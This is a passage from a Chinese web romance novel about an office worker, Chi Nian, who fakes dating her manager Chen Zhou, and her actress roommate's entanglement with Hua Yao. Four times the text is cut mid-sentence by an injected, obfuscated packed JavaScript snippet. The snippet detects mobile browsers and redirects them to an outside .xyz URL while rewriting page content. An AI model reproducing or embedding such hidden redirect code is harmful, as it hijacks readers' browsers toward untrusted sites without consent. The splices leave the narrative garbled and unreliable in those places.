收拾房子,洗了一堆衣服,门开的时候,她正把甩到半干的衣服挂到晾衣绳上。最近辛苦节食,效果不错,穿着短款背心,露出一截纤细的腰肢。 迟念换鞋进屋,把车钥匙放在餐桌上。 何伶晾完衣服,路过餐桌,突然定住,“我去!念念,你在哪捡的大奔钥匙?” 迟念从卧室里探出头,睡衣换到一半,肩膀露出一大片,“不是,这陈经理的车,我这几天兼职司机,就开回来了。” 何伶拿在手里掂了掂,“他不是富二代吗,我还以为平时都开兰博基尼或者法拉利那种豪车呢。” 迟念换好衣服出来,手里拿着一个啃了两口的苹果,边吃边说:“他好像不喜欢车,在广安的时候是宾利,也是我开。” 何伶伸脖子,偷咬一大口,想到她的车技,对这位照片里的男人产生膜拜心理,“他还挺有冒险精神的。” 迟念“切”了一声,刚想吹嘘日渐娴熟的车技,目光却被她的脖子吸引,伸手想去摸,“你这怎么红了一块?” 何伶急忙捂住,皱眉说:“蚊子叮的,痒着呢,别碰。” “噢…”迟念没多想,“蚊子这么早就活了?” “不要小看害虫的生命力。”何伶抱着盆子去洗手间,走到门口时突然转身,“你的睡衣穿好几天了吧,赶紧脱了洗洗。” 空气里弥漫着淡淡的洗衣液香味。 迟念敷着面膜,舒服地躺在床上刷手机。时间还早,何伶在洗澡,她那一套保养流程没有两小时出不来。 迟念进微信,第N次点开置顶联系人。 最后一条还是许维安的拥抱,已经过去好几天了,他应该不忙了吧? 纠结几秒,发过去一个“探头”的表情包。 对面秒回。 【许Vivian】:别跟我说你已经下班了[微笑]。 迟念一骨碌爬起来,把不服帖的面膜揭掉,扔进垃圾桶,换了个更舒服的姿势,全身心投入聊天里。 【小迟】:早就下班了啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777672|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,难道你? 【许Vivian】:呵呵,刚加完班,同是分公司,怎么林江比南阳舒服啊,咱们真是一个老板吗? 怪不得一直没消息,原来这么忙。 【小迟】:抱抱,你现在哪啊,回家了吗? 【许Vivian】:没,打字不方便,打电话行不? 迟念马上输入一串数字过去,过了几秒,手机铃声响起,号码归属地显示:南阳。 心里一阵悸动,她缓了两口气,按下接通键。 “嗨~许维安,好久不见…” * 陈昼去的是城西一家马上要开业的大型商超,考察了一下周边配置,听说这里的负责人也来了,刚好认识一下。 结果一见面,发现是老同学。 陈昼从小在林江长大,高中之后才去广安。 今天见到的这两人,一个叫乔森,一个叫郑彦泽。陈昼在小学时和他们是同班,初中后虽上了不同的学校, 但周末会约出来打球。 陈昼前几年在这边工作时,联系了两次,他们那时在南方开公司,忙得脚打后脑勺,只有过年回来聚了几次。 后来,他们回来了,陈昼又走了。 仔细算起来,也两年没见了。 乔森是个大块头,站在文质彬彬的郑彦泽旁边,像个打手,不过外表虽粗糙,眼睛倒是挺尖,一眼就认出老同学。 他大巴掌拍过来,顺势揽住陈昼的肩,“你这个死富二代,回来怎么不找我们,我记仇哈,今晚的饭不是五星你别想走。” 嘴上说得挺狠,实际就近找了一家平价饭馆。点完菜之后,乔森拎了两箱啤酒进来,放在椅子腿旁边,豪迈地说:“今晚不醉不归!” 郑彦泽皱了皱眉,把杯子倒扣在桌上,明摆着不配合,“你们喝吧,我就算了,等会儿回去还得值夜班呢。” 陈昼奇怪,“你还有别的工作?” 此话一出,两人都笑了。 乔森用筷子崩开啤酒盖,边倒边打趣:“郑彦泽可是三好男人,老婆生孩子了,白天保姆带,晚上他带。” 见陈昼意外,郑彦泽含笑说:“十个月,正是闹人的时候。” 陈昼转动杯子,仔细回忆,“我记得你去年年初结的婚,怎么今年就…” 乔森在旁边暗戳戳:“带球跑呗。” 郑彦泽狠狠瞪了他一眼,反击:“你别说人不如人,夏天不是要结婚了吗,你最好管住下半身。” 陈昼惊讶地看乔森,“你也要结婚?” 乔森憨笑着点头,“已经谈五年了,也该结了,再不结三十了,一想到这个年龄我后背就嗖嗖冒凉风。” 说完,他举起酒杯,“你呢,什么时候结?” 陈昼惊讶,不懂话题怎么突然转到自己身上。 “我…”手机在桌上震动,他拿起,乐得逃避这个话题,“我出去接个电话。” 本以为是公事,没想到这个电话是迟念打的。听到声音的瞬间,心脏不自然地跳了几下,他忽略不适,叫了一声她的名字,“迟念?” 结束通话,回到座位,乔森突然捏着嗓子模仿:“我会很晚~你早点回家~” 郑彦泽笑着说:“看来,我们很快也能喝到你的喜酒了。” 许是酒精的作用,陈昼没有解释,甚至顺势产生一种其实迟念不是下属,就是他女朋友的错觉。 让他意外的是,设想和她在一起的场景,身心完全没有抗拒。 甚至觉得,这样很不错。 聚会散场,他拿出手机,回拨刚才的号码。 听筒里传出机械的女声——对不起,您拨打的电话正在通话中,请稍后再拨。 26. 第二十六章 迟念早上起来的时候,脸上挂了两个黑眼圈。 何伶在洗手间洗漱,余光瞥见镜子里飘过来的女鬼,无语地说:“昨晚电话打到几点啊?” 迟念打了个呵欠,声音透着虚,“一点?还是两点来着,忘了。” “熬太狠了吧,他表白了?” “…没有。” 昨晚和许维安的通话,主要是他单方面输出,全程都在聊工作。因为近期连续加班,他骂起领导像蹦豆子,一个ber都不打。 许维安说话自带笑点,很多委屈的诉苦都是以脱口秀的方式讲出来,迟念虽表同情,更多还是想笑。 她倚着门,幽幽地说:“南阳分公司压力好大,他要是能调到林江就好了。” 何伶擦完脸出来,给她让出位置。 去卧室拿了瓶爽肤水,啪啪往脸上拍,说:“你不是在给上司开车吗,公司早晚都是他的,调个人不就一句话的事儿。” 迟念摇头,不考虑这个方法。 “现在我在公司的人设是刚和陈经理分手,要是许维安调过来,我俩直接谈上了,不就成无缝连接了吗。” 何伶啧啧称奇,“我也是服气,你把事情闹这么大,他全程不知道?” “嗯,他说是调到我们部门,实际是管整个分公司,就上午开个会,下午不在,而且…”她心有余悸地说,“他罚人特狠,上任第一天开会时就说,不想在上班时间听到与工作无关的事,所以没人敢贴脸开大。” “真是太神了,我看呐…”何伶啧啧,“你还是跟他‘复合’吧,当个虚假的挂名女友,也比那个吊着你的许维安强百倍。” 迟念堂皇,“你还在这替我挑上了,也不看看你姐妹配不配得上。” “怎么配不上?配他八十个来回带拐弯!” “……” 何伶抹完护肤品,去餐桌那边化妆,耳朵听着洗手间哗哗水声,偷偷把衣领拉开,看到颈侧的红色有扩散趋势,暗骂一句脏话。 六点十五,迟念来不及了,迅速换好衣服去门口穿鞋。 何伶突然转头,认真地说:“我觉得,纸包不住火,你坦白从宽吧,他要是开除你,你就来当我助理。” “嗯?”迟念眼神一亮,“你最近资源变好了?演女一了?有拍横屏的机会了?” 何伶摇头,“没有,但我挣的够给你开工资了。” 迟念肩膀塌下去,老实地把鞋穿好,“还是等你火了再说吧,我这边能还能应付一阵。” 门关,人走,只剩何伶自己。她看着镜子里的脸,惆怅地说:“我好像应付不了了。” * 何伶进了一个古装组,原著是某平台爆火的小说,不过剧情和以前演的那些大差不差,已经拍了一周多。 这几天气温升高,穿两层古装正好。 她赶到剧组,直奔化妆室,女一女二已经上完妆了,正坐在椅子上对剧本,见她进来,摆了摆手。 “嗨,来这么早啊。” 今天主戏都在女一女二身上,何伶饰演的异国公主只有两场,还被导演安排在下午,不到八点就来了,确实有点早。 她拉了把椅子坐下,无奈地说:“早点做完造型等着,比导演心血来潮想加戏的时候找不到人强。” 女一点了点头,“那倒是。” 还没开机,化妆师去吃早饭了,得八点半能回来。何伶和女一女二戏里对手戏不多,在片场也没有太多接触,所以不太熟。 互道早安,说了几句场面话之后,她们继续看剧本。 何伶转过身坐着,从包里拿出手机。 未接通话十几个。 全都来自花尧。 她无视,关掉手机,化妆室的门却开了。花尧倚在门口,看到她在,喊了一声:“何伶,你出来一下。” 何伶很抗拒,余光扫到女一女二吃瓜的表情,站起来,面无表情地看向门口。 视线交汇,她微微皱眉。 两人默契地走到避人的死角。 花尧抱着胳膊,似笑非笑地说:“怎么?睡完不认账啊。” 这话说的,何伶忍不住回怼,“意思是我还得给你个名分?” “名分是以后的事,你总该解释一下吧,毕竟是你主动扑的我。” 何伶扯了扯嘴角,“我不是给你钱了么。” 花尧震惊,“你拿我当鸭啊?!” “少往自己脸上贴金,鸭至少有服务意识,你在天天出镜的女演员脖子上种草莓,还好意思跑来要说法。” 花尧视线下移,看到她穿的高领打底,仔细回忆那晚的细节,终于想起,“拜托,是你让我用力的。” 迟念警铃大作,狠踢了他一脚,“你给我闭嘴!” 剧痛从小腿扩散,蔓延到全身,花尧却露出笑容,他说:“反正已经做了,那我就勉为其难当你男朋友吧。” 何伶也笑了,反唇相讥:“还勉为其难…不好意思,我喜欢年纪小的弟弟,你不符合我的择偶标准。” 花尧:“……” 这是嫌他太老了?年龄攻击对他来说是一把利剑,身心直扎个对穿。他没想到何伶不止变脸,讲话还这么难听。 他冷冷一笑,“既然不符合你标准,那天晚上为什么扯我衣服,还抱着我的腰不松手?” 话说到这份上,何伶也无所畏惧了,她是演员,演这种渣女游刃有余,“人饿的时候不挑食,馒头夹咸菜也能对付吃一顿。” * 黑色奔驰停在约定的位置,时间刚好七点十五。 今天陈经理没有提前下来,这让迟念松了一口气,她在这等多久都没关系,让领导等她可是职场大忌。 十分钟后,陈昼下楼。 今天温度高,他只穿了衬衣和西裤,上车后,迟念规矩地说了一声早上好,抬头时,注意到他面带疲倦。 想到昨天他请吃自己早餐,今天她应该回请。 “陈经理,时间还挺充足的,我请你喝咖啡吧!” 陈昼正想和她摊牌,欣然同意,特意指定附近的一家咖啡馆。 五分钟后,车停在咖啡馆门口。 迟念下车,仔细打量这家店。门面很小,没有牌匾,透明落地窗上挂着一个形状不规则的木牌,上面写着“告白”。 她自信地走进去,翻开菜单之后傻眼。 还没鸟窝大的店,竟然明目张胆宰客!三口就能喝完的咖啡58元起!她忍着肉痛,指了指旁边68的那款,对服务员说:“我要这个吧。” 陈昼坐在对面,淡淡地说:“我和她一样。” 迟念规规矩矩坐好,心里却疯狂速算:68+68=136,昨天早上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786641|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆浆+小笼包才15,抵不上一杯咖啡的零头。 工资没开,还欠何伶两千没还,月末正是扎紧裤腰的时候,结果猝不及防买了个大单。 早知道不冲动了。 她肉痛到恍惚。 时间太早,店里只有他们一桌客人,空气里弥漫着浓郁的咖啡香,老式唱片机正播放经典钢琴曲《梦中的婚礼》。 陈昼觉得,此刻天时地利人和。 他轻咳一声,“有件事,本想昨晚说,但你的电话一直打不通。” 迟念一惊,马上道歉,“对不起!应该是我在和别人通话,所以打不进来,绝对没有屏蔽您的号码。” 陈昼喜欢她一惊一乍被吓到的样子,随口说:“和家人通话?” 迟念略微思索,“男朋友。” 空气有一瞬间凝滞,陈昼完全没想过这种可能,努力压抑惊愕,镇定反问:“男朋友?” 迟念看出他很意外,迟钝地点了点头,“对,男朋友。” 见陈昼不说话,迟念以为他这是“愿闻其详”的意思。咖啡还没好,总要说点什么,她把和许维安的相识过程和盘托出。 “……说起来,这都要感谢您。” 陈昼眼底晦暗,想到在总部那天,确实在楼梯口遇到一个员工,并嘱托他带迟念培训,并看紧她。 样貌已经记不清,一定是平平无奇的那种,想到这段孽缘竟然是由他牵线,顿时产生一种荒唐感。 手指无意识地敲着木质扶手,沉吟着说:“这样说的话,你们认识的时间很短。” “对。” “还没有我们认识的时间久。” 服务员端着托盘过来,把咖啡摆在桌上,迟念连连道谢,心想,陈经理这句话说的,怎么…怎么这么怪呢。 她端起杯子,抿了一口,“是,但他性格很好。” 陈昼把杯子推远,“这么短的时间,很难看出一个人的真实性格。” 迟念差点呛到,本想讨好他,奉上月老牵线积福的马屁,结果怎么成了三堂会审,比开会还可怕。 她底气不足,“呃…没想那么远。” 68元一杯的咖啡,迟念不想浪费,全都喝光了。而陈昼那杯,一口没动,飘在上面的心形拉花渐渐暗淡了。 既然不想喝,为什么要选这么贵的店啊啊啊!她去吧台买单,却被告知陈经理是店里VIP,已经自动划卡了。 啊!钱没花出去,反倒觉得心里不舒服,她说了要请客的,怎么又欠了他一顿。 去公司的路上,陈昼没有再说话。 迟念对气氛变化很敏感,思索后,觉得陈经理应该在生气,默默在心里复盘刚才的对话,到底哪句说错了。 快到公司楼下,她灵光一闪。 ——有件事,本想昨晚说,但是你的电话一直打不通。 没错,就是这句! 上司说这句话的意思,大概率是想谈工作,应该马上问是什么事,马上为您效劳。 结果呢,没长大脑似的,嘚嘚嘚说了一堆没用的废话。 拜托,谁会对你的私人生活感兴趣啊! 她狂冒冷汗。 车速放慢,她硬着头皮补救,“陈经理,您刚才说的昨晚有事找我,是什么事啊?” 陈昼面色平静。 “没事。” 27. 第二十七章 上午,迟念在惴惴不安中度过,想到昨天和今天陈经理对她截然不同的态度,脑海里蹦出一个词——伴君如伴虎。 觉得自己是真傻。 明明捅了那么大的篓子,竟然还觉得给他当专职司机是美差,说不定哪天谎言败露,她立刻卷铺盖滚蛋。 这车还是先别开了吧… 同一时间,经理办公室。 韩主管出差了,他的工作暂时交给欢姐,她把最终策划方案交给陈昼,说:“陈经理,流程已经定好,可以准备和平台沟通对接了。” 陈昼翻了几页,一目十行看完。 “好,知道了。” 欢姐松了口气,站在办公桌前,没走。 陈昼抬眼,“还有什么事?” “呃…陈经理,是关于迟念的,她本来和张娇负责线上,韩主管在的时候,把她调走了,您看…” 陈昼不懂她的意思,“说清楚。” 欢姐绞着手,在心里大骂韩主管给她留了一堆烂摊子。 “是这样,活动期间工作量大,张娇一个人肯定顾不过来,而且策划期间,迟念也出了很多力。” 陈昼想到迟念说她现在负责后勤,直说:“调回去不就行了。” 欢姐笑着点头,“好的陈经理,但是这个岗得加班,晚上时间不可控,我今早看到她开您的车…” 陈昼没有多想,“我这几天有酒局,只是让她给我兼职两天司机,活动重要,不用考虑我这边。” 兼职司机? 欢姐在心里嘀咕,就算小陈总不喜欢在公司里说私事,但也犯不着在下属面前说女朋友是司机啊。 午休,楼下必胜客。 娇娇听欢姐说完,狠狠咬了一口披萨,“我一直觉得这个事不对劲,按理说,两个人谈恋爱,旁人是能感觉到的。” 欢姐附和:“就是,小陈总的条件不可能找她这样的,要么没有这回事,要么他们的关系见不得人。” “难道…”娇娇绷不住,故意挺了挺胸,“不能,那种钓富二代的脑子得灵光,迟念可看不出半点。” “那倒是,小迟老实巴交的。” “所以啊…”娇娇顺着线索往前推,“我们只看了迟念的朋友圈,就认定他们是情侣,这和我把吴彦祖照片发朋友圈,宣布他是我老公有什么区别?” 欢姐只觉得思路豁然开朗,“对啊,什么在一起很久了,冷战了,分手了,都是迟念的一面之词。” 娇娇越想越觉得有意思,撇嘴说:“我看她啊,就是一个妄想嫁入豪门的小陈总梦女。” 光猜当然不行,得有确凿的证据。 下午,临时开了小组会,布局好未来半个月的工作流程。迟念整理会议记录,回到工位,手机在桌角震动。 她探头看,是许维安。 腾出一只手点开。 【许Vivian】:你也开始加班了吧[阴险]。 【小迟】:呵,你猜得真准。 娇娇拿着一摞资料过来,一股脑全给她,着急地说:“迟念,你去打印一下,十二份,等会儿开大会用。” 迟念翻看了几眼,娇娇态度很好,而且这本来就是自己的工作范围,很干脆地应下,“好,我这就去。” 人走了,手机还在,新消息过来,震动声引起娇娇的注意。 她瞥了一眼,视线再也移不开。 置顶一栏标注名是男朋友,给她发了一句——那是当然,你上司可是小陈总哎,江湖人称加班狂魔。 娇娇慌乱地看了眼打印机方向,确定迟念没有回来,抖着手点开聊天记录。 她震惊地捂住嘴。 然后,拿出手机拍下来。 仓皇回到工位,马上把照片发给欢姐,并附言:“爆炸消息!迟念竟然脚踏两条船,她有男朋友!” * 会议结束,时钟指向七点。 迟念下午接到欢姐通知,可以继续负责原来的工作,兴奋之余,觉得自己运气无敌,正好有完美的理由不当司机了。 她慢吞吞收拾包,看到经理室的门打开,快步走过去,交出车钥匙。 “陈经理,以后我下班时间不固定了。” 陈昼垂眼,看到交叠的掌心微微泛着红,中间躺着黑色钥匙,应该接过来的,却鬼使神差没有动。 他说:“现在下班了?” 迟念慢半拍点头,“对,下班了。” “走吧。” 男人言简意赅,说完之后直接离开。 迟念拿着钥匙,小碎步跟上,脑子难得好用了一次,“明天早上我会准时接您!” 陈昼沉吟片刻,在电梯开门之前说:“不用接我,直接开到公司就行。”见迟念惊讶,他又说,“今晚送我回家。” 车子驶出停车场,外面已经黑透了。 迟念开了几次,这条路越来越熟,打着方向盘拐弯,抄了一条近路,直奔高架桥。 霓虹晃眼,遮蔽了本就暗淡的星光。 车里很静,静到能听清对方的呼吸声,迟念不止能听到他的呼吸声,还能听到自己的心跳声,越来越大,纯紧张的。 握着方向盘的手微微出汗,她松了松,想放音乐,又不敢动。 因为半边身子是麻的,陈经理一直在看这边。 她缓缓吐气。 陈昼早上听到她亲口说有男朋友,莫名烦躁了一整天,插足别人的感情是他所不齿的,可在看到她的一瞬,这些全都被推翻。 沉寂多年的心湖泛起涟漪,他努力找回从前的理性,以一个旁观者的视角看待这件事。 “迟念,你和男朋友感情好吗?” 迟念隐晦地咽了下口水,小心回答:“挺好的。” “怎么在一起的?” “呃…就自然而然,水到渠成。”迟念感觉回到学生时代,被老师拎出来回答自己没弄懂的难题。 她一紧张,思绪就混乱,容易忘记身份,说一些有的没的。 “您…是有喜欢的女孩?” 陈昼眼神复杂地看着她,隐晦的情绪被迟念接收成功,她窃喜,自己竟然能主动找到话题。 “在一起了?” “没有。” 她大为震惊,有故意夸张的成分,“不应该啊,您各方面条件顶尖了,那女孩要是知道你喜欢她,一定会毫不犹豫同意的。” 陈昼突然觉得有意思,淡淡地说:“她有男朋友。” 迟念压根没当回事,“不是还没结婚吗,抢过来不就得了。”说完,觉得还差点火候,“就算结婚了也没什么,那句话怎么说来着,不被爱的才是小三。” 这下爽了。 马屁应该拍到位了,迟念真想给自己鼓掌。 陈昼一改平日的严肃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790660|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深沉,明显对这个话题很感兴趣的样子,语气也变得随意,“我也这么觉得,所以才问你。” 他看着她的眼睛,无比诚恳地问:“怎么追心有所属的女孩。” 迟念认真想了想,陈昼这种条件的男人,喜欢的女生一定也不差,大概率是豪门千金或者名媛。 这样的女生不在意钱,需要的应该是情绪价值和精神层面那种。 “呃…我觉得,应该主动制造相处的机会,再表现出明显的偏爱,让她自己感受到你的心意,时间久了,天平自然会歪向你这边…” 春夜静谧,车子跨过大桥,驶入繁华的主街。 街灯明亮,透过车窗照进来,滚动,后退,光影不停变幻,最后定格在她的脸上。 陈昼认真地看着她,突然笑了。 “好,我知道了。” 直到陈经理下车离开,迟念还在因为知晓他的隐秘激动,索性把车停在路边,给何伶打电话。 对面秒接,“你到家了?” “没有,在路上呢,我想跟你说件事。” “不行啊,我正用软件打车呢,今天也不知道怎么回事,一辆也没有…” 迟念看着眼前的奔驰车标,口气很大地说:“不用打了,我去接你。” 挂了电话,何伶把手机放进包里。 城郊古建筑保护区,道路两旁的楼是不少,但没有几个亮灯的,加上远处古院古宅红灯笼,影影绰绰的,平添了一丝诡异。 花尧站在她旁边,手指滑动不太顺畅的屏幕。 “啧,没车。” 何伶不想和他站在一起,往旁边挪了半步,余光扫到亮光的屏幕,伸出一只手,“手机还给我。” 花尧恍若未闻,直接把粉色派大星塞进裤兜里。 他说:“我想不明白,你到底为什么生气。” 何伶沉默。 他低头看她,像没听到答案就死不瞑目似的,步步紧逼,“是我表现得不够好?还是哪里不合你心意…” 何伶烦躁地捂住耳朵,“闭嘴!” 花尧冲着她耳朵大声:“你至少让我死个明白啊!” 其实没有答案,何伶甚至没生他的气。 那天各方面都很顺利,肚子不饿,拍戏一条过,进度比预计的快,只是冷而已。 因为冷,她贪恋长外套的温度,就算裹紧了也觉得不够,所以在摸到他燥热的胸膛时,用尽全身力气抱住。 过去,她以为自己意志坚定。 可以忍饿,可以忍痛,可以忍着不睡觉,可以忍受通往梦想路上的所有苦,结果呢,只是因为冷,就犯了这种错误。 她是对自己失望。 “没什么好说的,你最好把这件事忘了。” 花尧不接受这个结果。 他难得正经,“我还以为,你在跟我表白。” 何伶:“你觉得我会用这种方式表白?” “你不会?” “呵~”她把下巴缩进围巾里,只露出一双眼睛,没有冷笑和反问,单纯陈述事实:“我喜欢高冷弟弟,你喜欢暴躁姐姐,我们是两条平行线,注定挨不到一起。” 花尧相当淡定,“你说挨不到一起,但现在我们肩并肩站在这里,在某个深夜的距离甚至达到了—18厘米。” 何伶愣了几秒才反应过来,一个大巴掌呼过去,“你找死啊!” 28. 第二十八章 迟念赶到的时候,何伶一个人站在路边,她穿着黑色风衣,风吹乱长发,遮住了微微泛红的眼睛。 黑色奔驰车缓缓停下,迟念落下车窗,猛冲她招手,“伶子,上来!” 何伶压下心事,恢复平时的样子,疾步走过去,摸了摸车体,“什么情况,念念,你公车私用啊?” 迟念帮她把车门打开,“不算啦,我自掏腰包加的油。” 何伶坐在副驾驶,解下围巾,系上安全带的同时,顺便打量车内,“以后能天天开车上下班了?” “不能,今晚最后一次开。” “为什么,被开除了?” 迟念转动方向盘,踩着油门往前开,“才没有呢,马上要忙起来了,全体加班,晚上时间不固定。” 何伶“哦”了一声,突然说:“念念,我准备回老家待几天。” 迟念刚想和她说上司的八卦,听到这句,震惊地张大嘴巴,“为什么啊,你这部不是还没拍完吗?” 何伶的头抵着车窗,怔怔地看着外面,漂亮的侧脸在忽明忽暗的灯光下,像极了文艺电影里的女主角。 迟念嗅到一丝失落的味道。 她放慢车速,担忧地说:“被删了?” “嗯,导演说我这条线可有可无,直接一刀切了。” 作为唯一的朋友,迟念坚定地站在她身后,并在低谷时给予安慰,“没事儿,片酬不是已经给了吗,也没亏。” 何伶“嗯”了一声,其实工作上的波动从来不会影响她,临时换角,或者拍完播不了,这种情况发生过很多次了。 本就因为那晚的冲动心里很乱,花尧偏偏黏着不放,刚才暴打了他一顿,想让他死了这条心,过后却后悔。 不会又给他打爽了吧。 她人生第一次逃避。 “可能最近太累了,有点想家,我买了今晚的车票,正好你送我过去。” 迟念始料未及,“啊?不用这么急吧!” 何伶确实很急,急到没时间回公寓收拾行李,只带了随身物品就进了站。 迟念和她挥手告别,感觉她不像想家,倒像在逃命。 * 何伶一走,狭窄的一居室突然变得很空。 早上六点,迟念按灭闹钟,准时起床,身体按照过去两天的生物钟走。 把车开到公寓路口,一激灵想起来,昨天陈经理好像说直接开到公司,不用来接。 这边刚想转弯,余光却从后视镜里看到熟悉的身影,头没来得及缩回去,就被男人逮了个正着。 迟念赶紧把车开过去,狗腿地打招呼:“陈经理早上好~” 陈昼看了眼腕表,七点刚过。 他还是平日的商务装扮,今天也不知道怎么回事,莫名有种眼前一亮的清爽,和迟念相册里高价买来的十几张完全没差。 她慌忙移开眼。 陈昼调整座椅,随口说说问:“几点起的?” “六点。” “太早了,我昨天说过今天不用来接。” 迟念握紧方向盘,当然不能说自己完全忘记这码事,狗腿员工附体,“早高峰,我怕您乘公共交通不方便。” 女孩的关心看起来毫不掺假,陈昼弯起唇角。 “吃早饭了吗?” 迟念立刻想到欠他的两顿,今天最后一次兼职司机,正好趁这个机会还上,“没吃,陈经理想吃什么?” 陈昼转头看她,“你想吃什么?” 迟念认真地说:“你做主,不管吃什么,我请!” 结果去的M记。 迟念专挑贵的点。 不过,早餐再贵也不可能破百,她又另外点了两杯咖啡。 店里人不多,他们坐在不起眼的角落。 迟念喝了一口咖啡,怄苦,脸瞬间皱成一团。感觉到对面打量的视线,马上正襟危坐,恢复正常。 她非常紧绷。 很多事都是后知后觉。 如果没有昨晚关于情感方面的交流,没有听到他的隐秘恋情,她应该还能像往常一样,当一个称职的下属。 她就不该问! 破嘴真是贱得慌! 因为这个焦虑到失眠,员工知道了领导的秘密有什么好处?答案是没有,只会增加被开除的概率。 万幸的是马上要忙起来,她在线上,陈经理负责线下,应该很难在公司里遇到。 而且听说,他做完这次活动就回总部了,往后余生都不一定再来林江。 迟念暗暗发誓,在此期间,绝对不可以犯错! 陈昼完全不知她心中所想。 只记得她昨晚说的那句——主动制造相处的机会,再表现出明显的偏爱。 他说:“我之前更正过你对我的称呼,后来你一直在叫陈经理。” 迟念谨慎地说:“是,这样叫您也不对吗?” “您,不要,陈经理也改掉。” 她马上get到,“好的陈总。” 陈昼绷不住,“我的意思是,我们两个人单独在一起的时候,你可以叫我名字。” 迟念大惊,“…这不好吧!” “怎么不好?”陈昼拿起咖啡,姿态松弛,毫无工作时的威压,像个温柔学长,“我们也算同龄人。” 他直视她的眼睛,“而且,你昨晚帮了我很大的忙。” 怎么突然提起这茬啊…迟念叫苦不迭,好不容易忘了,这又想起来了。 她故意露出迷茫的眼神,“是吗,我不记得我说了什么,你和我说了什么其实我也不太记得了呵呵。” 陈昼有些意外,把杯子放在桌角。 想了想,弯唇说:“没关系,不是什么重要的事。” “对对对。”迟念忙附和。 陈昼缓缓吐了口气,觉得自己似乎太过着急了。 不过没关系,来日方长。 * 迟念提前十分钟打卡,部门里的人来了一大半,她走到工位,桌子上已经摆了一摞待办事项。 打印,统计,各种对接和联系方式,混乱地堆在一起。 她看向靠窗位置,娇娇早就来了,正悠闲地坐在椅子上刷手机。 迟念走过去,疑问:“这些是我们两个一起负责的吧,怎么全放在我桌子上了?” 娇娇就像没听到,认真看手机里的萌宠视频,时不时双击屏幕,收藏点赞。 “张娇!”迟念叫她大名。 娇娇终于抬头,似笑非笑地看着她,“哦,对啊,因为你精力旺盛,这点小活对你来说不算什么。” 简直莫名其妙! 短短几天,变脸三次,她是川剧传承人吧。 她气不过,“你要是这样的话,我现在去找欢姐让她重新分配工作。” 娇娇哼了一声,摆出一副无所谓的样子,“去找啊,去找小陈总才好呢。”她突然站起来,故意扬声,“你是他女朋友,他一定听你的。” 迟念眼神一闪,下意识看了眼四周,“你在胡言乱语什么?” “低调是吧?偷偷恩爱是吧?”娇娇越说越来劲,“我终于知道你为什么再三叮嘱让大家保密了。” 她一字一句:“你是,怕真正的男朋友知道,对吧?” 迟念登时呆住,有种悬着的刀终于把脑袋砍掉的无力感。 娇娇悠闲自在地看她惊慌的脸,“你说,假如现在整个公司都知道你和小陈总在一起了,会发生什么事呢?” “你怎么知道我有男朋友?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804518|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我就知道!” 迟念心里清楚,不管发生什么事,倒霉的都是自己。 两害相权取其轻,她其实不怕许维安知道,这是可以解释的,而且他们的关系还没有正式确定。 如果被陈经理知道她自导自演这一出,结果不言而喻。 早上还发誓这段时间不要出错,结果刚踏进公司的门,就挨了一道大雷。 刚才的硬气全都消失了,她赶紧拉住娇娇的手,声音软了几分,“你已经说出去了?” 娇娇耸了耸肩,“还没啊,看你表现~” 表现? 迟念看到桌子上的一大摞,秒懂。 “好,我会替你分担接下来的工作,你也要向我保证,不许说出去。” 娇娇露出得逞的笑,“成交!现在只有我们部门的几个人知道,而且知道的是你们已经分手了。” 她清了清嗓子,话锋一转,“上午没有组会,我怎么突然想喝咖啡了呢,听说楼下新开了一家,也不知道味道怎么样。” 迟念咬紧后槽牙。 没办法,她现在很被动,不知道娇娇是怎么知道的,不管怎么样,把陈经理熬走她就什么都不怕了。 调整心态,摆出讨好的笑容,“我请你吧。” 开在写字楼周围的咖啡都不贵,但有精装门面的就不一定了,店里窗明几净,ins风装修,消费不会低。 娇娇仗着有她把柄,点单时眼皮都不眨,一杯卡布奇诺+抹茶红豆慕斯蛋糕,这两样就超百了。 迟念要了一杯热水。 娇娇撇嘴,冷嘲热讽道:“都钓到小陈总了,怎么还这么寒酸啊。” 